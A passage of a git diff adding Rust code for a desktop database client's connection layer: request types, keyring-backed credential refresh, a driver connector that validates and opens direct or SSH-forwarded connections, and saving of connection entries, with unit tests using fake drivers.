Some(FailureCause::Configuration), + Self::Cancelled | Self::Panicked(_) => None, + } + } +} + +#[cfg(test)] +mod tests { + use std::path::PathBuf; + + use tablepro_core::credentials::SecretKind; + use tablepro_core::{LossPhase, SshFailure, TransportError}; + + use super::*; + + #[test] + fn missing_secrets_and_files_park_and_losses_retry() { + let not_stored = ConnectError::Keyring(KeyringError::SecretNotStored { + kind: SecretKind::DatabasePassword, + }); + let gone = ConnectError::Driver(DriverError::FileNotFound { + path: PathBuf::from("/srv/app.db"), + }); + let lost = ConnectError::Driver(DriverError::ConnectionLost { + during: LossPhase::Connect, + }); + let unanswered = ConnectError::Driver(DriverError::Transport(TransportError::Ssh( + SshFailure::InteractionCancelled, + ))); + + assert_eq!(not_stored.failure_cause(), Some(FailureCause::Authentication)); + assert_eq!(gone.failure_cause(), Some(FailureCause::Configuration)); + assert_eq!(unanswered.failure_cause(), Some(FailureCause::Authentication)); + assert_eq!(lost.failure_cause(), None); + assert_eq!( + ConnectError::UnknownDriver("oracle".to_owned()).failure_cause(), + Some(FailureCause::Configuration) + ); + } + + #[test] + fn a_cancelled_prompt_is_a_cancelled_connect() { + assert_eq!(ConnectError::from(CredentialError::Cancelled), ConnectError::Cancelled); + } +} diff --git a/linux/crates/session/src/connect/connect_intent.rs b/linux/crates/session/src/connect/connect_intent.rs new file mode 100644 index 0000000000..ce66046258 --- /dev/null +++ b/linux/crates/session/src/connect/connect_intent.rs @@ -0,0 +1,12 @@ +use super::{ConnectRequest, PendingSave}; +use crate::registry::SessionKey; + +/// A connect the user asked for from the connect dialog: where to go, +/// which session it is, and what to save once it works. +#[derive(Debug)] +pub struct ConnectIntent { + pub key: SessionKey, + pub request: ConnectRequest, + /// `None` when the user connected without saving. + pub pending_save: Option, +} diff --git a/linux/crates/session/src/connect/connect_request.rs b/linux/crates/session/src/connect/connect_request.rs new file mode 100644 index 0000000000..45e3357514 --- /dev/null +++ b/linux/crates/session/src/connect/connect_request.rs @@ -0,0 +1,37 @@ +use std::fmt; +use std::sync::Arc; + +use tablepro_core::{DatabaseDriver, WorkspaceSettings}; + +use super::{ConnectionMetadata, RequestTarget}; + +/// Everything one connect attempt needs, secrets included. +#[derive(Clone)] +pub struct ConnectRequest { + pub metadata: ConnectionMetadata, + pub driver: Arc, + pub target: RequestTarget, + pub workspace_settings: WorkspaceSettings, +} + +impl ConnectRequest { + /// The request a reconnect sends: the same server, user and + /// settings, never a retarget. + pub fn for_reconnect(&self) -> Self { + Self { + target: self.target.for_reconnect(), + ..self.clone() + } + } +} + +/// Only what identifies the request: a log line must never carry a host +/// list or a user name the user did not choose to share. +impl fmt::Debug for ConnectRequest { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("ConnectRequest") + .field("id", &self.metadata.id) + .field("name", &self.metadata.name) + .finish_non_exhaustive() + } +} diff --git a/linux/crates/session/src/connect/connect_services.rs b/linux/crates/session/src/connect/connect_services.rs new file mode 100644 index 0000000000..a5f70ec480 --- /dev/null +++ b/linux/crates/session/src/connect/connect_services.rs @@ -0,0 +1,11 @@ +use tablepro_core::{ConnectEnvironment, LivenessPolicy}; +use tablepro_ssh::SshServices; + +/// What every connect needs from the app: who is connecting, how SSH is +/// run, and the liveness bounds. +#[derive(Debug, Clone)] +pub struct ConnectServices { + pub environment: ConnectEnvironment, + pub ssh: SshServices, + pub liveness: LivenessPolicy, +} diff --git a/linux/crates/session/src/connect/connect_source.rs b/linux/crates/session/src/connect/connect_source.rs new file mode 100644 index 0000000000..e730d62683 --- /dev/null +++ b/linux/crates/session/src/connect/connect_source.rs @@ -0,0 +1,12 @@ +use tablepro_storage::SavedConnection; + +use super::ConnectIntent; +use crate::registry::FileIdentity; + +/// Where a window's connect came from, kept so Retry repeats it. +#[derive(Debug)] +pub enum ConnectSource { + Saved(Box), + Intent(Box), + File(FileIdentity), +} diff --git a/linux/crates/session/src/connect/connection_metadata.rs b/linux/crates/session/src/connect/connection_metadata.rs new file mode 100644 index 0000000000..062917767c --- /dev/null +++ b/linux/crates/session/src/connect/connection_metadata.rs @@ -0,0 +1,9 @@ +use uuid::Uuid; + +/// What names a session, for titles, logs and keyring labels. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ConnectionMetadata { + pub id: Uuid, + pub name: String, + pub driver_id: String, +} diff --git a/linux/crates/session/src/connect/connection_writes.rs b/linux/crates/session/src/connect/connection_writes.rs new file mode 100644 index 0000000000..1dc682c451 --- /dev/null +++ b/linux/crates/session/src/connect/connection_writes.rs @@ -0,0 +1,37 @@ +use futures::future::BoxFuture; +use tablepro_storage::{ConnectionStore, SavedConnection, StorageError}; + +use crate::runtime::Tasks; + +/// Where a saved connection entry is written. +pub trait ConnectionWrites: Send + Sync { + fn upsert(&self, connection: SavedConnection) -> BoxFuture<'_, Result<(), StorageError>>; +} + +/// The connection list on disk, written on the blocking pool because a +/// durable write waits for the disk. +#[derive(Debug, Clone)] +pub struct StoreConnectionWrites { + store: ConnectionStore, + tasks: Tasks, +} + +impl StoreConnectionWrites { + pub fn new(store: ConnectionStore, tasks: Tasks) -> Self { + Self { store, tasks } + } +} + +impl ConnectionWrites for StoreConnectionWrites { + fn upsert(&self, connection: SavedConnection) -> BoxFuture<'_, Result<(), StorageError>> { + let store = self.store.clone(); + let written = self + .tasks + .spawn_blocking_task(move || store.upsert_blocking(connection)); + Box::pin(async move { + written + .await + .map_err(|failure| StorageError::Schema(format!("the connections write task failed: {failure}")))? + }) + } +} diff --git a/linux/crates/session/src/connect/connector.rs b/linux/crates/session/src/connect/connector.rs new file mode 100644 index 0000000000..bc660a55e0 --- /dev/null +++ b/linux/crates/session/src/connect/connector.rs @@ -0,0 +1,18 @@ +use futures::future::BoxFuture; +use tablepro_core::credentials::CredentialInteraction; +use tokio_util::sync::CancellationToken; + +use super::{ConnectError, ConnectRequest, PendingSession}; + +/// Turns a request into a connected, not yet adopted, session. +/// +/// A seam rather than a function so the window and the monitor can be +/// tested against a scripted connector. +pub trait Connector: Send + Sync { + fn establish( + &self, + request: ConnectRequest, + interaction: CredentialInteraction, + cancel: CancellationToken, + ) -> BoxFuture<'static, Result>; +} diff --git a/linux/crates/session/src/connect/credential_source.rs b/linux/crates/session/src/connect/credential_source.rs new file mode 100644 index 0000000000..d6fb549cfa --- /dev/null +++ b/linux/crates/session/src/connect/credential_source.rs @@ -0,0 +1,36 @@ +use futures::future::BoxFuture; +use tablepro_core::credentials::{CredentialInteraction, SecretError, SecretKind, SecretSave}; +use tablepro_storage::CredentialDemand; + +use super::{ConnectError, ConnectRequest}; + +/// A request with its secrets filled in, and what the user asked to keep. +#[derive(Debug, Clone)] +pub struct RefreshedRequest { + pub request: ConnectRequest, + /// Secrets typed into a prompt with "Remember" on. They are stored + /// only once the login they were typed for has worked. + pub remember: Vec, +} + +/// Where a request's secrets come from at each connect. +/// +/// Only secrets change: host, database and user stay as the request +/// has them, so a reconnect never retargets a live session. +pub trait CredentialSource: Send + Sync { + fn refresh( + &self, + request: ConnectRequest, + interaction: CredentialInteraction, + demand: CredentialDemand, + ) -> BoxFuture<'static, Result>; + + /// Keep secrets the user asked to remember. Returns the ones that + /// could not be stored, so the caller can say so. + fn remember(&self, saves: Vec) -> BoxFuture<'static, Vec<(SecretKind, SecretError)>> { + if !saves.is_empty() { + tracing::debug!(count = saves.len(), "this credential source keeps nothing"); + } + Box::pin(async { Vec::new() }) + } +} diff --git a/linux/crates/session/src/connect/driver_connector.rs b/linux/crates/session/src/connect/driver_connector.rs new file mode 100644 index 0000000000..6203847e5d --- /dev/null +++ b/linux/crates/session/src/connect/driver_connector.rs @@ -0,0 +1,437 @@ +use std::sync::Arc; +use std::time::Duration; + +use futures::future::BoxFuture; +use tablepro_core::credentials::CredentialInteraction; +use tablepro_core::meta::{ObjectInfo, ObjectScope, SchemaInfo}; +use tablepro_core::{ + CallOptions, ConfigError, ConnectOptions, ConnectTarget, Connection, DriverError, NetworkTarget, TlsMode, Transport, +}; +use tablepro_net::DirectTcpTransport; +use tablepro_ssh::SshSession; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use super::{ConnectError, ConnectRequest, ConnectServices, Connector, PendingSession, RequestTarget}; +use crate::link::EstablishedConnection; +use crate::operation::{DeadlinePolicy, OperationKind}; + +/// The production connector: validate, build the transport, connect the +/// driver, read the first catalog. +/// +/// Each stage gets the cancel token and runs to completion; cancelling +/// is checked between stages. A stage that finished after the cancel +/// closes what it built, because a driver blocked in a C call cannot be +/// interrupted and would otherwise leave its connection behind. +pub struct DriverConnector { + pub services: ConnectServices, + pub deadlines: Arc, +} + +impl DriverConnector { + pub fn new(services: ConnectServices, deadlines: Arc) -> Self { + Self { services, deadlines } + } +} + +impl Connector for DriverConnector { + fn establish( + &self, + request: ConnectRequest, + interaction: CredentialInteraction, + cancel: CancellationToken, + ) -> BoxFuture<'static, Result> { + Box::pin(establish( + self.services.clone(), + self.deadlines.clone(), + request, + interaction, + cancel, + )) + } +} + +impl std::fmt::Debug for DriverConnector { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("DriverConnector") + .field("services", &self.services) + .finish_non_exhaustive() + } +} + +async fn establish( + services: ConnectServices, + deadlines: Arc, + request: ConnectRequest, + interaction: CredentialInteraction, + cancel: CancellationToken, +) -> Result { + let liveness = services.liveness; + validate(&request)?; + if cancel.is_cancelled() { + return Err(ConnectError::Cancelled); + } + + let (target, ssh_session) = match &request.target { + RequestTarget::File(endpoint) => (ConnectTarget::File(endpoint.clone()), None), + RequestTarget::Network { + endpoint, + ssh, + credentials, + database, + tls, + } => { + let (transport, ssh_session): (Arc, _) = match ssh { + Some(config) => { + let session = + SshSession::connect(config, &services.ssh, &liveness, interaction, cancel.child_token()) + .await + .map_err(|error| stage_error(&cancel, error.into()))?; + if cancel.is_cancelled() { + return Err(ConnectError::Cancelled); + } + let transport = session + .forward(endpoint.clone(), &liveness) + .await + .map_err(|error| stage_error(&cancel, error.into()))?; + (transport, Some(session)) + } + None => (Arc::new(DirectTcpTransport::new(endpoint.clone(), &liveness)), None), + }; + let target = NetworkTarget { + transport, + credentials: credentials.clone(), + database: database.clone(), + tls: tls.clone(), + }; + (ConnectTarget::Network(target), ssh_session) + } + }; + if cancel.is_cancelled() { + return Err(ConnectError::Cancelled); + } + + let options = ConnectOptions { + target, + workspace_settings: request.workspace_settings, + liveness, + environment: services.environment.clone(), + }; + let connection = request + .driver + .connect(options, cancel.clone()) + .await + .map_err(|error| stage_error(&cancel, error))?; + let established = EstablishedConnection { + connection, + ssh_session, + }; + if cancel.is_cancelled() { + close(&established, liveness.close_timeout).await; + return Err(ConnectError::Cancelled); + } + + let deadline = deadlines.deadline(OperationKind::Metadata); + match first_catalog(&*established.connection, deadline, &cancel).await { + Ok(_) if cancel.is_cancelled() => { + close(&established, liveness.close_timeout).await; + Err(ConnectError::Cancelled) + } + Ok((schemas, objects)) => Ok(PendingSession::new( + request, + established, + schemas, + objects, + liveness.close_timeout, + )), + Err(error) => { + close(&established, liveness.close_timeout).await; + Err(stage_error(&cancel, error)) + } + } +} + +/// A request the driver cannot serve is refused before anything is +/// opened: a saved file can name an auth mode or TLS option the driver +/// never had, and sending it anyway fails as a confusing login error. +fn validate(request: &ConnectRequest) -> Result<(), ConnectError> { + let capabilities = request.driver.capabilities(); + let refuse = |error: DriverError| Err(ConnectError::Driver(error)); + match &request.target { + RequestTarget::File(_) if !capabilities.is_file_based() => refuse(DriverError::Unsupported { + feature: "database files", + }), + RequestTarget::File(_) => Ok(()), + RequestTarget::Network { .. } if capabilities.is_file_based() => refuse(DriverError::Unsupported { + feature: "network connections", + }), + RequestTarget::Network { + credentials, + database, + tls, + .. + } => { + if !capabilities.supports(credentials.mode()) { + return refuse(ConfigError::AuthModeUnsupported.into()); + } + match (&capabilities.tls, request.target.transport_class()) { + (Some(caps), Some(route)) => tls.validate(caps, route).map_err(DriverError::from)?, + _ if tls.mode != TlsMode::Disable => return refuse(ConfigError::UnsupportedTlsMode.into()), + _ => {} + } + let missing_database = database.as_deref().is_none_or(|name| name.trim().is_empty()); + if capabilities.database_required && missing_database { + return refuse(ConfigError::DatabaseRequired.into()); + } + Ok(()) + } + } +} + +async fn first_catalog( + connection: &dyn Connection, + deadline: Option, + cancel: &CancellationToken, +) -> Result<(Vec, Vec), DriverError> { + let options = || CallOptions::new(deadline.map(|limit| Instant::now() + limit), cancel.child_token()); + let schemas = connection.list_schemas(options()).await?; + let objects = connection.list_objects(&ObjectScope::DefaultSchema, options()).await?; + Ok((schemas, objects)) +} + +fn stage_error(cancel: &CancellationToken, error: DriverError) -> ConnectError { + if cancel.is_cancelled() { + ConnectError::Cancelled + } else { + ConnectError::Driver(error) + } +} + +async fn close(established: &EstablishedConnection, close_timeout: Duration) { + match tokio::time::timeout(close_timeout, established.connection.close()).await { + Ok(Ok(())) => {} + Ok(Err(error)) => tracing::debug!(%error, "closing a connection nobody adopted failed"), + Err(_) => tracing::warn!("a connection nobody adopted did not close in time"), + } +} + +#[cfg(test)] +mod tests { + use std::path::PathBuf; + + use secrecy::SecretString; + use tablepro_core::meta::ObjectKind; + use tablepro_core::{ + ConnectEnvironment, Credentials, DriverCapabilities, FileEndpoint, LivenessPolicy, NetworkEndpoint, TlsConfig, + TransportKind, WorkspaceSettings, + }; + use tablepro_ssh::{SshRuntimeCell, SshServices}; + use tablepro_test_support::{ConnectionScript, FakeDriver, FakeReply}; + use uuid::Uuid; + + use super::*; + use crate::connect::ConnectionMetadata; + use crate::link::CloseReport; + use crate::operation::DefaultDeadlines; + + const DATABASE_REQUIRED: DriverCapabilities = DriverCapabilities { + database_required: true, + ..FakeDriver::NETWORK_CAPABILITIES + }; + + fn connector() -> DriverConnector { + let services = ConnectServices { + environment: ConnectEnvironment::new("test"), + ssh: SshServices { + runtime: Arc::new(SshRuntimeCell::new(PathBuf::from("/nonexistent"))), + ssh_program: PathBuf::from("/nonexistent/ssh"), + ssh_keygen_program: PathBuf::from("/nonexistent/ssh-keygen"), + askpass_program: PathBuf::from("/nonexistent/tablepro-askpass"), + }, + liveness: LivenessPolicy::DESKTOP, + }; + DriverConnector::new(services, Arc::new(DefaultDeadlines::new(LivenessPolicy::DESKTOP))) + } + + fn cataloguing() -> ConnectionScript { + let mut script = ConnectionScript::default(); + script.list_schemas.always(FakeReply::ok(vec![SchemaInfo { + name: "public".to_owned(), + is_default: true, + is_system: false, + }])); + script.list_objects.always(FakeReply::ok(vec![ObjectInfo { + schema: Some("public".to_owned()), + name: "orders".to_owned(), + kind: ObjectKind::Table, + }])); + script + } + + fn request(driver: Arc, target: RequestTarget) -> ConnectRequest { + ConnectRequest { + metadata: ConnectionMetadata { + id: Uuid::new_v4(), + name: "Fake".to_owned(), + driver_id: "fake".to_owned(), + }, + driver, + target, + workspace_settings: WorkspaceSettings::workspace(false), + } + } + + fn file() -> RequestTarget { + RequestTarget::File(FileEndpoint::open_existing(PathBuf::from("/srv/app.db")).unwrap()) + } + + fn network(credentials: Credentials, tls: TlsConfig, database: Option<&str>) -> RequestTarget { + RequestTarget::Network { + endpoint: NetworkEndpoint::new("db.example.com", 5432).unwrap(), + ssh: None, + credentials, + database: database.map(str::to_owned), + tls, + } + } + + fn password() -> Credentials { + Credentials::Password { + username: "app".to_owned(), + password: SecretString::from("s3cret"), + } + } + + async fn establish(request: ConnectRequest, cancel: CancellationToken) -> Result { + connector() + .establish(request, CredentialInteraction::Unattended, cancel) + .await + } + + #[tokio::test(start_paused = true)] + async fn establish_reads_the_schemas_and_the_default_schema_objects() { + let driver = Arc::new(FakeDriver::connecting(&FakeDriver::FILE_CAPABILITIES, cataloguing())); + + let pending = establish(request(driver.clone(), file()), CancellationToken::new()) + .await + .unwrap(); + + assert_eq!(pending.schemas()[0].name, "public"); + assert_eq!(pending.objects()[0].name, "orders"); + assert_eq!(pending.metadata().name, "Fake"); + assert!(matches!(driver.requests()[0].target, ConnectTarget::File(_))); + } + + #[tokio::test(start_paused = true)] + async fn a_network_target_without_ssh_dials_direct_tcp() { + let driver = Arc::new(FakeDriver::connecting(&FakeDriver::NETWORK_CAPABILITIES, cataloguing())); + let target = network(password(), TlsConfig::verify_full(), Some("shop")); + + let pending = establish(request(driver.clone(), target), CancellationToken::new()) + .await + .unwrap(); + + let ConnectTarget::Network(sent) = &driver.requests()[0].target else { + panic!("a network request reached the driver as a file"); + }; + assert_eq!(sent.transport.kind(), TransportKind::DirectTcp); + assert_eq!(sent.transport.service_endpoint().host(), "db.example.com"); + assert_eq!(sent.database.as_deref(), Some("shop")); + assert!(pending.established().ssh_session.is_none()); + } + + #[tokio::test(start_paused = true)] + async fn cancelled_establish_closes_late_connection() { + let late = FakeReply::Late { + after: Duration::from_secs(5), + outcome: Ok(cataloguing()), + }; + let driver = Arc::new(FakeDriver::new(&FakeDriver::FILE_CAPABILITIES, [late])); + let cancel = CancellationToken::new(); + let cancelling = { + let cancel = cancel.clone(); + async move { + tokio::time::sleep(Duration::from_secs(1)).await; + cancel.cancel(); + } + }; + + let (outcome, ()) = tokio::join!(establish(request(driver.clone(), file()), cancel), cancelling); + + assert_eq!(outcome.unwrap_err(), ConnectError::Cancelled); + let connections = driver.connections(); + assert_eq!(connections.len(), 1, "the late connect never finished"); + assert!(connections[0].is_closed(), "the late connection was left open"); + } + + #[tokio::test(start_paused = true)] + async fn kerberos_refused_for_driver_without_mode() { + let driver = Arc::new(FakeDriver::connecting(&FakeDriver::NETWORK_CAPABILITIES, cataloguing())); + let target = network(Credentials::Integrated, TlsConfig::verify_full(), None); + + let refused = establish(request(driver.clone(), target), CancellationToken::new()).await; + + assert_eq!( + refused.unwrap_err(), + ConnectError::Driver(DriverError::Config(ConfigError::AuthModeUnsupported)) + ); + assert!(driver.requests().is_empty(), "the driver was asked anyway"); + } + + #[tokio::test(start_paused = true)] + async fn a_required_database_is_checked_before_connecting() { + let driver = Arc::new(FakeDriver::connecting(&DATABASE_REQUIRED, cataloguing())); + let target = network(password(), TlsConfig::verify_full(), Some(" ")); + + let refused = establish(request(driver.clone(), target), CancellationToken::new()).await; + + assert_eq!( + refused.unwrap_err(), + ConnectError::Driver(DriverError::Config(ConfigError::DatabaseRequired)) + ); + assert!(driver.requests().is_empty()); + } + + #[tokio::test(start_paused = true)] + async fn a_file_driver_refuses_a_network_target() { + let driver = Arc::new(FakeDriver::connecting(&FakeDriver::FILE_CAPABILITIES, cataloguing())); + let target = network(password(), TlsConfig::disabled(), None); + + let refused = establish(request(driver, target), CancellationToken::new()).await; + + assert!(matches!( + refused, + Err(ConnectError::Driver(DriverError::Unsupported { .. })) + )); + } + + #[tokio::test(start_paused = true)] + async fn a_failed_catalog_read_closes_the_connection() { + let mut script = ConnectionScript::default(); + script + .list_schemas + .always(FakeReply::err(DriverError::server("no access"))); + let driver = Arc::new(FakeDriver::connecting(&FakeDriver::FILE_CAPABILITIES, script)); + + let refused = establish(request(driver.clone(), file()), CancellationToken::new()).await; + + assert_eq!( + refused.unwrap_err(), + ConnectError::Driver(DriverError::server("no access")) + ); + assert!(driver.connections()[0].is_closed()); + } + + #[tokio::test(start_paused = true)] + async fn discard_closes_connection() { + let driver = Arc::new(FakeDriver::connecting(&FakeDriver::FILE_CAPABILITIES, cataloguing())); + let pending = establish(request(driver.clone(), file()), CancellationToken::new()) + .await + .unwrap(); + + let report = pending.discard().await; + + assert_eq!(report, CloseReport::Closed); + assert!(driver.connections()[0].is_closed()); + } +} diff --git a/linux/crates/session/src/connect/keyring_source.rs b/linux/crates/session/src/connect/keyring_source.rs new file mode 100644 index 0000000000..a3f63d05d5 --- /dev/null +++ b/linux/crates/session/src/connect/keyring_source.rs @@ -0,0 +1,81 @@ +use futures::future::BoxFuture; +use secrecy::SecretString; +use tablepro_core::Credentials; +use tablepro_core::credentials::{CredentialInteraction, SecretError, SecretKind, SecretSave}; +use tablepro_ssh::SshAuth; +use tablepro_storage::{CredentialDemand, KeyringCredentials, ResolvedSecret}; + +use super::{ConnectError, ConnectRequest, CredentialSource, RefreshedRequest, RequestTarget}; + +/// Every secret the request logs in with is read from the keyring again, +/// so a password fixed in Seahorse is the one the next attempt uses. +impl CredentialSource for KeyringCredentials { + fn refresh( + &self, + request: ConnectRequest, + interaction: CredentialInteraction, + demand: CredentialDemand, + ) -> BoxFuture<'static, Result> { + let credentials = self.clone(); + Box::pin(async move { + let mut request = request; + let mut remember = Vec::new(); + let RequestTarget::Network { + credentials: login, + ssh, + .. + } = &mut request.target + else { + return Ok(RefreshedRequest { request, remember }); + }; + if let Credentials::Password { password, .. } = login { + let resolved = credentials + .resolve(SecretKind::DatabasePassword, Some(password), &interaction, demand) + .await?; + fill(password, resolved, &mut remember); + } + if let Some(ssh) = ssh { + match &mut ssh.auth { + SshAuth::Password { password } => { + let resolved = credentials + .resolve(SecretKind::SshPassword, Some(password), &interaction, demand) + .await?; + fill(password, resolved, &mut remember); + } + SshAuth::PrivateKey { passphrase, .. } => { + let resolved = credentials + .resolve(SecretKind::SshPassphrase, passphrase.as_ref(), &interaction, demand) + .await?; + if let Some(resolved) = resolved { + remember.extend(resolved.remember); + *passphrase = Some(resolved.secret); + } + } + SshAuth::Agent | SshAuth::KeyboardInteractive => {} + } + } + Ok(RefreshedRequest { request, remember }) + }) + } + + fn remember(&self, saves: Vec) -> BoxFuture<'static, Vec<(SecretKind, SecretError)>> { + let secrets = self.secrets().clone(); + let id = self.connection_id(); + Box::pin(async move { + let mut failed = Vec::new(); + for save in saves { + if let Err(error) = secrets.store(id, save.kind, &save.secret, &save.label).await { + failed.push((save.kind, error)); + } + } + failed + }) + } +} + +fn fill(slot: &mut SecretString, resolved: Option, remember: &mut Vec) { + if let Some(resolved) = resolved { + remember.extend(resolved.remember); + *slot = resolved.secret; + } +} diff --git a/linux/crates/session/src/connect/mod.rs b/linux/crates/session/src/connect/mod.rs new file mode 100644 index 0000000000..6ad58d4bb2 --- /dev/null +++ b/linux/crates/session/src/connect/mod.rs @@ -0,0 +1,45 @@ +//! Turning a saved connection or a dialog's request into a connected, +//! not yet adopted, session; and saving the connection once it works. + +mod attempt_generation; +mod attempt_outcome; +mod attempt_ticket; +mod connect_attempts; +mod connect_error; +mod connect_intent; +mod connect_request; +mod connect_services; +mod connect_source; +mod connection_metadata; +mod connection_writes; +mod connector; +mod credential_source; +mod driver_connector; +mod keyring_source; +mod no_stored_credentials; +mod pending_save; +mod pending_session; +mod persist_pending_save; +mod request_target; +mod resolve_saved; + +pub use attempt_generation::AttemptGeneration; +pub use attempt_outcome::AttemptOutcome; +pub use attempt_ticket::AttemptTicket; +pub use connect_attempts::ConnectAttempts; +pub use connect_error::ConnectError; +pub use connect_intent::ConnectIntent; +pub use connect_request::ConnectRequest; +pub use connect_services::ConnectServices; +pub use connect_source::ConnectSource; +pub use connection_metadata::ConnectionMetadata; +pub use connection_writes::{ConnectionWrites, StoreConnectionWrites}; +pub use connector::Connector; +pub use credential_source::{CredentialSource, RefreshedRequest}; +pub use driver_connector::DriverConnector; +pub use no_stored_credentials::NoStoredCredentials; +pub use pending_save::PendingSave; +pub use pending_session::PendingSession; +pub use persist_pending_save::{PersistReport, persist_pending_save}; +pub use request_target::RequestTarget; +pub use resolve_saved::{resolve_saved, ssh_config}; diff --git a/linux/crates/session/src/connect/no_stored_credentials.rs b/linux/crates/session/src/connect/no_stored_credentials.rs new file mode 100644 index 0000000000..7e84912892 --- /dev/null +++ b/linux/crates/session/src/connect/no_stored_credentials.rs @@ -0,0 +1,26 @@ +use futures::future::BoxFuture; +use tablepro_core::credentials::CredentialInteraction; +use tablepro_storage::CredentialDemand; + +use super::{ConnectError, ConnectRequest, CredentialSource, RefreshedRequest}; + +/// For a request that already carries every secret it needs: one typed +/// into the connect dialog, or a file with no login at all. +#[derive(Debug, Clone, Copy, Default)] +pub struct NoStoredCredentials; + +impl CredentialSource for NoStoredCredentials { + fn refresh( + &self, + request: ConnectRequest, + _interaction: CredentialInteraction, + _demand: CredentialDemand, + ) -> BoxFuture<'static, Result> { + Box::pin(async move { + Ok(RefreshedRequest { + request, + remember: Vec::new(), + }) + }) + } +} diff --git a/linux/crates/session/src/connect/pending_save.rs b/linux/crates/session/src/connect/pending_save.rs new file mode 100644 index 0000000000..d7390b0697 --- /dev/null +++ b/linux/crates/session/src/connect/pending_save.rs @@ -0,0 +1,15 @@ +use tablepro_core::credentials::{SecretKind, SecretSave}; +use tablepro_storage::SavedConnection; + +/// A connection entry and its secrets, written once the connect works. +#[derive(Debug, Clone)] +pub struct PendingSave { + pub connection: SavedConnection, + pub secrets: Vec, + /// Secrets an earlier save of this entry may hold that the user + /// asked not to keep, so the next connect asks for them instead. + pub forget: Vec, + /// A new entry's secrets are removed again when its list write + /// fails; an existing entry's secrets still belong to it. + pub is_new: bool, +} diff --git a/linux/crates/session/src/connect/pending_session.rs b/linux/crates/session/src/connect/pending_session.rs new file mode 100644 index 0000000000..a7c0e4c41e --- /dev/null +++ b/linux/crates/session/src/connect/pending_session.rs @@ -0,0 +1,96 @@ +use std::time::Duration; + +use tablepro_core::meta::{ObjectInfo, SchemaInfo}; + +use super::{ConnectRequest, ConnectionMetadata}; +use crate::link::{CloseReport, EstablishedConnection}; + +/// A connection that worked, with its first catalog, waiting to be +/// adopted or thrown away. +/// +/// `must_use` because dropping one leaves its close to whenever the last +/// reference goes; `discard` closes it under its deadline instead. +#[must_use] +pub struct PendingSession { + request: ConnectRequest, + established: EstablishedConnection, + schemas: Vec, + objects: Vec, + close_timeout: Duration, +} + +pub(crate) struct PendingParts { + pub request: ConnectRequest, + pub established: EstablishedConnection, + pub schemas: Vec, + pub objects: Vec, + pub close_timeout: Duration, +} + +impl PendingSession { + pub(crate) fn new( + request: ConnectRequest, + established: EstablishedConnection, + schemas: Vec, + objects: Vec, + close_timeout: Duration, + ) -> Self { + Self { + request, + established, + schemas, + objects, + close_timeout, + } + } + + pub fn metadata(&self) -> &ConnectionMetadata { + &self.request.metadata + } + + pub fn request(&self) -> &ConnectRequest { + &self.request + } + + pub fn established(&self) -> &EstablishedConnection { + &self.established + } + + pub fn schemas(&self) -> &[SchemaInfo] { + &self.schemas + } + + pub fn objects(&self) -> &[ObjectInfo] { + &self.objects + } + + /// Close the connection, for an attempt that lost the race or a Test + /// button that only wanted to know it works. The SSH master ends + /// with the last reference to its session. + pub async fn discard(self) -> CloseReport { + match tokio::time::timeout(self.close_timeout, self.established.connection.close()).await { + Ok(Ok(())) => CloseReport::Closed, + Ok(Err(error)) => CloseReport::CloseFailed(error), + Err(_) => CloseReport::Abandoned, + } + } + + pub(crate) fn into_parts(self) -> PendingParts { + PendingParts { + request: self.request, + established: self.established, + schemas: self.schemas, + objects: self.objects, + close_timeout: self.close_timeout, + } + } +} + +impl std::fmt::Debug for PendingSession { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("PendingSession") + .field("request", &self.request) + .field("established", &self.established) + .finish_non_exhaustive() + } +} diff --git a/linux/crates/session/src/connect/persist_pending_save.rs b/linux/crates/session/src/connect/persist_pending_save.rs new file mode 100644 index 0000000000..a703ec7ddd --- /dev/null +++ b/linux/crates/session/src/connect/persist_pending_save.rs @@ -0,0 +1,289 @@ +use tablepro_core::credentials::{SecretError, SecretKind, SecretVault}; +use tablepro_storage::{SavedConnection, SavedSshAuth, StorageError}; + +use super::{ConnectionWrites, PendingSave}; + +/// What a save kept, and which secrets the keyring refused. +#[derive(Debug)] +pub struct PersistReport { + pub saved: SavedConnection, + pub secret_failures: Vec<(SecretKind, SecretError)>, +} + +/// Write a connection's secrets, then its entry. +/// +/// Secrets go first so the one list write can record whether the +/// passphrase landed. A secret the keyring refuses does not stop the +/// save: the entry is written without it and the failure is reported, +/// so the user keeps the connection and is asked for the secret at the +/// next connect. +pub async fn persist_pending_save( + secrets: &dyn SecretVault, + connections: &dyn ConnectionWrites, + save: PendingSave, +) -> Result { + let PendingSave { + connection: mut saved, + secrets: to_store, + forget, + is_new, + } = save; + let mut secret_failures = Vec::new(); + for secret in &to_store { + let stored = secrets + .store(saved.id, secret.kind, &secret.secret, &secret.label) + .await; + if secret.kind == SecretKind::SshPassphrase { + record_passphrase(&mut saved, stored.is_ok()); + } + if let Err(error) = stored { + tracing::warn!(kind = ?secret.kind, %error, "a secret was not stored"); + secret_failures.push((secret.kind, error)); + } + } + + // A secret the user no longer wants kept is only a convenience + // lost if it stays, so a refusal is logged and the save goes on. + if !is_new { + for kind in forget { + if let Err(error) = secrets.delete_kind(saved.id, kind).await { + tracing::warn!(?kind, %error, "a secret the user asked not to keep is still stored"); + } + } + } + + if let Err(error) = connections.upsert(saved.clone()).await { + // The list write is what makes the connection real. Without it a + // new entry's secrets belong to nothing, so they go again. + if is_new && let Err(cleanup) = secrets.delete_connection(saved.id).await { + tracing::warn!(%cleanup, "the secrets of an unsaved connection were left in the keyring"); + } + return Err(error); + } + Ok(PersistReport { saved, secret_failures }) +} + +fn record_passphrase(saved: &mut SavedConnection, stored: bool) { + if let Some(ssh) = saved.ssh.as_mut() + && let SavedSshAuth::PrivateKey { has_passphrase, .. } = &mut ssh.auth + { + *has_passphrase = stored; + } +} + +#[cfg(test)] +mod tests { + use std::sync::{Arc, Mutex}; + + use futures::future::BoxFuture; + use secrecy::SecretString; + use tablepro_core::credentials::SecretSave; + use tablepro_core::{AuthMode, TlsConfig}; + use tablepro_storage::{ConnectionStore, SavedSshConfig, StoragePaths}; + use tablepro_test_support::{Call, FakeSecretVault}; + use uuid::Uuid; + + use super::*; + use crate::connect::StoreConnectionWrites; + use crate::test_support::paused_tasks; + + /// Records each entry write next to how many keyring calls came + /// before it, so the order is visible. + struct RecordingWrites { + 